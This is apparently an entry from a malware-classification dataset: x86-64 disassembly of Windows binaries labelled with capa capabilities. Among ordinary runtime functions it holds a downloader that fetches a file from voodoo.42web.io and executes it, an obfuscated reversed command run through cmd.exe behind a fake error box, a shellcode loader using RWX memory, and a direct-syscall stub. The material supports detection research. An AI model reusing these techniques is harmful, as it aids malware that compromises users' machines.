joyce8/EMBER2024-capa huggingface dataset:
Function at 0x30c5113f0
Capabilities:
Create process on windows

Disassembly:
push rbx
sub rsp, 0xf0
mov r9d, 0x10
lea r8, str.Unknown_error
xor ecx, ecx
movabs rax, 0x646a4c682e657865
movabs rdx, 0x63255c5759445651
mov qword [rsp + 0x30], rax
lea rbx, [rsp + 0x30]
movabs rax, 0x2626257075626c69
mov qword [rsp + 0x38], rdx
movabs rdx, 0x6d656f7574203135
mov qword [rsp + 0x40], rax
movabs rax, 0x2e65786526267469
mov qword [rsp + 0x48], rdx
movabs rdx, 0x59445651646a4c68
mov qword [rsp + 0x50], rax
movabs rax, 0x75626c6963255c57
mov qword [rsp + 0x58], rdx
movabs rdx, 0x6174696f6e202570
mov qword [rsp + 0x60], rax
movabs rax, 0x202d64657374696e
mov qword [rsp + 0x68], rdx
movabs rdx, 0x3d41674144655227
mov qword [rsp + 0x70], rax
movabs rax, 0x6333353f68617368
mov qword [rsp + 0x78], rdx
movabs rdx, 0x31353337392f646f
mov qword [rsp + 0x80], rax
movabs rax, 0x70702e636f6d2f33
mov qword [rsp + 0x88], rdx
movabs rdx, 0x2e6865726f6b7561
mov qword [rsp + 0x90], rax
movabs rax, 0x3133663337363039
mov qword [rsp + 0x98], rdx
movabs rdx, 0x6f6e312d38663439
mov qword [rsp + 0xa0], rax
movabs rax, 0x2f626f7466757369
mov qword [rsp + 0xa8], rdx
movabs rdx, 0x2768747470733a2f
mov qword [rsp + 0xb0], rax
movabs rax, 0x2d736f7572636520
mov qword [rsp + 0xb8], rdx
movabs rdx, 0x72616e7366657220
mov qword [rsp + 0xc0], rax
movabs rax, 0x72742d6269747374
mov qword [rsp + 0xc8], rdx
movabs rdx, 0x655e6c6c20737461
mov qword [rsp + 0xd0], rax
movabs rax, 0x6f775e65725e7368
mov qword [rsp + 0xd8], rdx
lea rdx, str.The_data_is_invalid_
mov qword [rsp + 0xe0], rax
mov dword [rsp + 0xe8], 0x2f632070
mov byte [rsp + 0xec], 0
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rcx, rbx
call sub.msvcrt.dll_strlen
mov r11, rax
lea eax, [rax - 1]
test eax, eax
jle 0x30c5115f9
movsxd rdx, eax
mov rcx, rbx
add rdx, rbx
nop word [rax + rax]
movzx r8d, byte [rcx]
movzx r10d, byte [rdx]
add rcx, 1
sub rdx, 1
mov byte [rcx - 1], r10b
mov r10d, eax
sub eax, 1
mov byte [rdx + 1], r8b
mov r8d, r11d
sub r8d, r10d
cmp eax, r8d
jg 0x30c5115d0
mov dword [rsp + 0x28], 0
mov r9, rbx
lea r8, str.cmd.exe
xor ecx, ecx
mov qword [rsp + 0x20], 0
lea rdx, str.open
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor eax, eax
add rsp, 0xf0
pop rbx
ret

Function at 0x30c5117d0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.30c5124d0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.30c5124d0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]
Function at 0x30c511840
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x30c518064]
mov r12, rcx
test ebx, ebx
jle 0x30c511970
mov rax, qword [0x30c518068]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x30c51188c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x30c511913
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x30c511870
mov rcx, r12
call fcn.30c511fc0
mov rsi, rax
test rax, rax
je 0x30c511992
mov rax, qword [0x30c518068]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call fcn.30c5120f0
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x30c518068]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x30c511977
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x30c51190c
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x30c511920
add dword [0x30c518064], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x30c518068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x30c51190c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.30c5117d0
nop dword [rax]
xor ebx, ebx
jmp 0x30c511897
mov rax, qword [0x30c518068]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.30c5117d0
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.30c5117d0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x30c511c30
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x30c5180a0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x30c518080]
test rbx, rbx
je 0x30c511c84
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x30c511c7b
test r12, r12
je 0x30c511c7b
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x30c511c60
lea rcx, [0x30c5180a0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x30c511fc0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x30c514f80]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x30c511fe0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x30c511fe8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x30c511fe0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x30c512035
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x30c51202c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x30c511fe0
add rax, 0x28
cmp rax, r9
jne 0x30c512018
xor eax, eax
ret

Function at 0x30c512040
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x30c514f80]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x30c512060
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x30c512068
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x30c512060
movzx r8d, word [rax + 6]
mov eax, r8d
ret

Function at 0x30c5120f0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x30c514f80]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x30c512110
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x30c512118
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret
Function at 0x140001070
Capabilities:
Create process on windows
Download url
Receive data

Disassembly:
push rbx
sub rsp, 0xf0
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rsp + 0xe0], rax
xor ebx, ebx
lea r8, str.vdinstlr.exe
xor r9d, r9d
mov qword [rsp + 0x20], rbx
lea rdx, str.http:__voodoo.42web.io_fruitinsvd.vd
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
jne 0x14000115f
lea rcx, str.Saved_to_vdinstlr.exe
call fcn.140001010
xorps xmm0, xmm0
mov dword [rsp + 0x70], 0x68
xor eax, eax
lea rcx, str.vdinstlr.exe
mov dword [rsp + 0xd4], eax
xor r9d, r9d
mov qword [rsp + 0x60], rax
xor r8d, r8d
lea rax, [rsp + 0x50]
xor edx, edx
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
movups xmmword [rsp + 0x74], xmm0
movups xmmword [rsp + 0x84], xmm0
movups xmmword [rsp + 0x94], xmm0
movups xmmword [rsp + 0xa4], xmm0
movups xmmword [rsp + 0xb4], xmm0
movups xmmword [rsp + 0xc4], xmm0
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140001170
lea rcx, str.Failed
call fcn.140001010
mov eax, 0xffffffff
mov rcx, qword [rsp + 0xe0]
xor rcx, rsp
call fcn.1400011a0
add rsp, 0xf0
pop rbx
ret

Function at 0x140001a74
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001abe
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001abe
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001abe
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001abe
cmp dword [rcx + 0x84], 0xe
jbe 0x140001abe
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001ac0
xor al, al
add rsp, 0x28
ret
Function at 0x14000147a
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x140004c50]
mov dword [rax], 1
mov rax, qword [0x140004c60]
mov dword [rax], 1
mov rax, qword [0x140004c70]
mov dword [rax], 1
mov rax, qword [0x140004c40]
mov dword [rax], 1
mov rax, qword [0x140004b10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400014d8
mov eax, 0
jmp 0x140001585
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140001504
mov eax, 0
jmp 0x140001585
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000152a
cmp eax, 0x20b
je 0x140001551
jmp 0x140001580
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000153d
mov eax, 0
jmp 0x140001585
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001585
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000156c
mov eax, 0
jmp 0x140001585
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001585
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x1400016e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push rbp
push rdi
push rsi
sub rsp, 0x810
lea rbp, [rsp + 0x80]
call sym.__main
lea rax, [rbp - 0x60]
lea rdx, section..rdata
mov ecx, 0xfb
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
mov ecx, dword [rdx]
mov dword [rax], ecx
lea rax, [rax + 4]
lea rdx, [rdx + 4]
movzx ecx, word [rdx]
mov word [rax], cx
lea rax, [rax + 2]
lea rdx, [rdx + 2]
movzx ecx, byte [rdx]
mov byte [rax], cl
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 0x7df
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0x788], rax
mov rax, qword [rbp + 0x788]
mov rdx, rax
lea rax, [rbp - 0x60]
mov ecx, 0x7df
mov r8, qword [rax]
mov qword [rdx], r8
mov r8d, ecx
add r8, rdx
lea r9, [r8 + 8]
mov r8d, ecx
add r8, rax
add r8, 8
mov r8, qword [r8 - 0x10]
mov qword [r9 - 0x10], r8
lea r8, [rdx + 8]
and r8, 0xfffffffffffffff8
sub rdx, r8
sub rax, rdx
add ecx, edx
and ecx, 0xfffffff8
shr ecx, 3
mov edx, ecx
mov edx, edx
mov rdi, r8
mov rsi, rax
mov rcx, rdx
rep movsq qword [rdi], qword [rsi]
mov rax, qword [rbp + 0x788]
call rax
mov eax, 0
add rsp, 0x810
pop rsi
pop rdi
pop rbp
ret
Function at 0x140001b20
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov r8, rbx
mov rdx, qword [rbp + 0x20]
mov rcx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x140002752
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x140008128]
test eax, eax
je 0x1400027ea
lea rax, [0x140008100]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x140008130]
mov qword [rbp - 8], rax
jmp 0x1400027ce
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x1400027c2
cmp qword [rbp - 0x10], 0
je 0x1400027c2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x140002788
lea rax, [0x140008100]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x1400027eb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x1400028f0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x140002918
mov eax, 0
jmp 0x140002966
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x140002941
mov eax, 0
jmp 0x140002966
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x140002961
mov eax, 0
jmp 0x140002966
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x14000296c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x1400029ea
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x1400029e1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x1400029e1
mov rax, qword [rbp - 8]
jmp 0x1400029ff
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x1400029b4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x140003970
Capabilities:
Parse pe header

Disassembly:
push rbx
sub rsp, 0x40
mov qword [rsp + 0x58], rdx
mov rbx, r8
xor edx, edx
test rcx, rcx
je 0x1400039a4
cmp word [rcx], 0x5a4d
jne 0x1400039a4
movsxd rax, dword [rcx + 0x3c]
cmp eax, 0x400
jg 0x1400039a4
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400039a4
mov edx, dword [rcx + 0x28]
add rdx, qword [rsp + 0x58]
mov rcx, rbx
call fcn.1400038b0
test eax, eax
jne 0x1400039c0
xor eax, eax
add rsp, 0x40
pop rbx
ret
mov rcx, rbx
call fcn.140003920
test rax, rax
je 0x1400039b5
lea rdx, [rax + 0x10]
lea rax, [rsp + 0x38]
mov rcx, qword [rbx]
mov r9d, 8
mov qword [rsp + 0x20], rax
lea r8, [rsp + 0x58]
mov qword [rsp + 0x38], 0
call fcn.140004172
not eax
shr eax, 0x1f
add rsp, 0x40
pop rbx
ret

Function at 0x140004070
Capabilities:
Execute syscall

Disassembly:
pop rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
sub rsp, 0x28
mov rcx, r10
call fcn.140004010
add rsp, 0x28
mov rcx, qword [rsp + 8]
mov rdx, qword [rsp + 0x10]
mov r8, qword [rsp + 0x18]
mov r9, qword [rsp + 0x20]
mov r10, rcx
syscall
ret

Function at 0x1400044d4
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
mov rax, qword [0x140529bd8]
xor ebx, ebx
add rax, 0x18
mov r12, rcx
mov ecx, dword [0x140529bd4]
mov rsi, rdx
mov rdi, r8
cmp ebx, ecx
jge 0x140004522
mov rdx, qword [rax]
cmp r12, rdx
jb 0x14000451a
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140004609
inc ebx
add rax, 0x28
jmp 0x1400044fa
mov rcx, r12
call fcn.140004d01
mov rbp, rax
test rax, rax
jne 0x140004541
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.140004470
movsxd rbx, ebx
mov rax, qword [0x140529bd8]
xor edx, edx
imul rbx, rbx, 0x28
add rax, rbx
mov dword [rax], edx
mov qword [rax + 0x20], rbp
call fcn.140004daf
mov edx, dword [rbp + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140529bd8]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x1400045a3
mov rax, qword [0x140529bd8]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140004470
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140004603
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140004603
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140529bd8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140004603
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140004470
inc dword [0x140529bd4]
mov ecx, edi
mov rdi, r12
rep movsb byte [rdi], byte [rsi]
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
Function at 0x140004a30
Capabilities:
Get thread local storage value

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
lea rdi, [0x140529c40]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140529c20]
test rbx, rbx
je 0x140004a7c
mov ecx, dword [rbx]
call qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
test rsi, rsi
je 0x140004a76
test eax, eax
jne 0x140004a76
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
jmp 0x140004a4e
mov rcx, rdi
add rsp, 0x20
pop rbx
pop rsi
pop rdi
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140004c30
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140004c53
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x140004c53
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140004c54
Capabilities:
Enumerate pe sections

Disassembly:
xor r8d, r8d
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r9d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
cmp r8d, r9d
jae 0x140004c8e
mov r10d, dword [rax + 0xc]
mov rcx, r10
cmp rdx, r10
jb 0x140004c85
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x140004c90
inc r8d
add rax, 0x28
jmp 0x140004c6c
xor eax, eax
ret

Function at 0x140004d01
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x140525df0]
mov r8, rcx
mov rcx, r9
call fcn.140004c30
test eax, eax
je 0x140004d2d
mov rdx, r8
mov rcx, r9
sub rdx, r9
add rsp, 0x28
jmp fcn.140004c54
xor eax, eax
add rsp, 0x28
ret
Function at 0x415600
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x41578b
push rbp
mov rbp, rsp
sub rsp, 0x48
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call sym.runtime.stdcall3.abi0
xorps xmm15, xmm15
mov r14, qword [0x00768248]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
jne 0x415665
mov rax, qword [rsp + 0x58]
mov rbx, qword [rsp + 0x60]
jmp 0x415674
add rsp, 0x48
pop rbp
ret
sub rcx, rbx
add rax, rbx
mov rbx, rcx
test rbx, rbx
jbe 0x415693
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x40], rax
mov rcx, rbx
jmp 0x4156a3
cmp rbx, 0x1000
jae 0x41566b
jmp 0x41570d
add rsp, 0x48
pop rbp
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
cmp rbx, 0x1000
jae 0x4156b5
xor edx, edx
jmp 0x415704
mov rcx, qword [sym.imp.kernel32.dll_VirtualFree]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x4000
call sym.runtime.stdcall3.abi0
xorps xmm15, xmm15
mov r14, qword [0x00768248]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x20], 0
sete al
mov rcx, qword [rsp + 0x28]
mov rbx, qword [rsp + 0x38]
mov edx, eax
mov rax, qword [rsp + 0x40]
test dl, dl
jne 0x415699
jmp 0x415688
call sym.runtime.getlasterror.abi0
xorps xmm15, xmm15
mov r14, qword [0x00768248]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov qword [rsp + 0x30], rax
call sym.runtime.printlock
lea rax, [0x0054480e]
mov ebx, 0x18
nop dword [rax]
call sym.runtime.printstring
mov rax, qword [rsp + 0x38]
call sym.runtime.printuint
lea rax, [0x00544cc4]
mov ebx, 0x19
nop dword [rax + rax]
call sym.runtime.printstring
mov rax, qword [rsp + 0x30]
call sym.runtime.printuint
call sym.runtime.printnl
call sym.runtime.printunlock
lea rax, [0x005470f0]
mov ebx, 0x21
call sym.runtime.throw
nop
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call sym.runtime.morestack_noctxt.abi0
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp sym.runtime.sysUnusedOS
Function at 0x4157c0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x4159e6
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rbx
mov rcx, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rcx
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
call sym.runtime.stdcall4.abi0
xorps xmm15, xmm15
mov r14, qword [0x00768248]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov rax, qword [rsp + 0x60]
mov rcx, rax
cmp qword [rsp + 0x28], rax
je 0x415833
mov rbx, qword [rsp + 0x68]
mov rax, rbx
jmp 0x415842
add rsp, 0x50
pop rbp
ret
sub rdx, rbx
add rcx, rbx
mov rbx, rdx
test rbx, rbx
jbe 0x415865
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x48], rcx
mov rdx, rbx
jmp 0x415875
cmp rbx, 0x1000
jae 0x415839
nop
jmp 0x4158f8
add rsp, 0x50
pop rbp
ret
shr rbx, 1
and rbx, 0xfffffffffffff000
mov qword [rsp + 0x38], rbx
nop word [rax + rax]
cmp rbx, 0x1000
jae 0x41588d
xor esi, esi
jmp 0x4158ea
mov rax, qword [sym.imp.kernel32.dll_VirtualAlloc]
mov qword [rsp], rax
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], 0x1000
mov qword [rsp + 0x20], 4
call sym.runtime.stdcall4.abi0
xorps xmm15, xmm15
mov r14, qword [0x00768248]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x28], 0
sete al
mov rcx, qword [rsp + 0x48]
mov rdx, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x38]
mov esi, eax
mov rax, qword [rsp + 0x68]
test sil, sil
jne 0x41586b
jmp 0x415856
call sym.runtime.getlasterror.abi0
xorps xmm15, xmm15
mov r14, qword [0x00768248]
mov r14, qword gs:[r14]
mov r14, qword [r14]
mov eax, dword [rsp]
mov dword [rsp + 0x34], eax
cmp eax, 8
jne 0x415980
nop dword [rax + rax]
call sym.runtime.printlock
lea rax, [0x00544cdd]
mov ebx, 0x19
call sym.runtime.printstring
mov rax, qword [rsp + 0x68]
nop dword [rax + rax]
call sym.runtime.printuint
lea rax, [0x00544cc4]
mov ebx, 0x19
call sym.runtime.printstring
mov eax, dword [rsp + 0x34]
call sym.runtime.printuint
nop
call sym.runtime.printnl
call sym.runtime.printunlock
lea rax, [0x0054156c]
mov ebx, 0xd
call sym.runtime.throw
nop dword [rax + rax]
cmp eax, 0x5af
je 0x415920
call sym.runtime.printlock
lea rax, [0x00544cdd]
mov ebx, 0x19
call sym.runtime.printstring
mov rax, qword [rsp + 0x38]
call sym.runtime.printuint
lea rax, [0x00544cc4]
mov ebx, 0x19
call sym.runtime.printstring
mov eax, dword [rsp + 0x34]
nop dword [rax]
